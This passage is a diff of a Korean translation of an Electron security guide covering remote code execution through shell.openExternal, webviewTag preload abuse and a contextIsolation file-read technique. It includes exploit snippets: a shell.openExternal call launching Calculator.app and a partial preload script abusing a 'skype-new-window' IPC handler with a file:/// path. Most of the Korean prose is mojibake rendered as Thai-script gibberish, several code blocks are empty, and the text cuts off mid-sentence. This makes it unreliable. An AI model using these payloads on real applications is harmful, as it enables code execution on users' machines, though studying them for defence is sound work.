๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์šด์˜ ์ฒด์ œ๋Š” RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฃผ์ œ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์˜ˆ์™€ ์ถ”๊ฐ€ ์„ค๋ช…์€ [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Windows ํ”„๋กœํ† ์ฝœ ์˜ˆ์‹œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. +Electron JS ๋ณด์•ˆ ๊ถŒ์žฅ์‚ฌํ•ญ์€ `openExternal` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ˜ํ…์ธ ๋ฅผ ์ˆ˜๋ฝํ•˜์ง€ ์•Š๋„๋ก ๊ถŒ๊ณ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ํ†ตํ•ด RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์šด์˜์ฒด์ œ๋Š” RCE๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ๋“ค์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ฃผ์ œ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์˜ˆ์‹œ์™€ ์ถ”๊ฐ€ ์„ค๋ช…์€ [this resource](https://positive.security/blog/url-open-rce#windows-10-19042)๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ๋ฌธ์„œ์—๋Š” ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” Windows ํ”„๋กœํ† ์ฝœ ์˜ˆ์‹œ๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. -macOS์—์„œ `openExternal` ํ•จ์ˆ˜๋Š” `shell.openExternal('file:///System/Applications/Calculator.app')`์ฒ˜๋Ÿผ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +macos์—์„œ `openExternal` ํ•จ์ˆ˜๋Š” `shell.openExternal('file:///System/Applications/Calculator.app')`์ฒ˜๋Ÿผ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -**Examples of Windows protocol exploits include:** +**Windows ํ”„๋กœํ† ์ฝœ exploits ์˜ˆ์‹œ์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:** ```html ``` -## RCE: webviewTag + ์ทจ์•ฝํ•œ preload IPC + shell.openExternal +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal -์ด vuln์€ **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ด vuln์€ **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -The **webviewTag** is a **deprecated feature** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like: +The **webviewTag**์€ **deprecated feature**๋กœ, **renderer process**์—์„œ **NodeJS**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” **preload context** ์•ˆ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฏ€๋กœ ๋น„ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```xml ``` -๋”ฐ๋ผ์„œ ์ž„์˜์˜ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•œ ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด **์ž„์˜์˜ preload script๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค**. +๋”ฐ๋ผ์„œ ์ž„์˜์˜ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด **์ž„์˜์˜ preload script๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค**. -์ด preload script๋Š” ์•…์šฉ๋˜์–ด **vulnerable IPC service (`skype-new-window`)**๋ฅผ ํ˜ธ์ถœํ–ˆ๊ณ , ํ•ด๋‹น ์„œ๋น„์Šค๋Š” **`shell.openExternal`**๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ RCE๋ฅผ ์–ป๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์—ˆ๋‹ค: +์ด preload script๋Š” ์•…์šฉ๋˜์–ด **์ทจ์•ฝํ•œ IPC ์„œ๋น„์Šค (`skype-new-window`)**๋ฅผ ํ˜ธ์ถœํ–ˆ๊ณ , ๊ทธ ์„œ๋น„์Šค๋Š” RCE๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด **`shell.openExternal`**๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์žˆ์—ˆ๋‹ค: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## ๋‚ด๋ถ€ ํŒŒ์ผ ์ฝ๊ธฐ: XSS + contextIsolation -**`contextIsolation`์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ฉด `` ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**, ์ด๋Š” `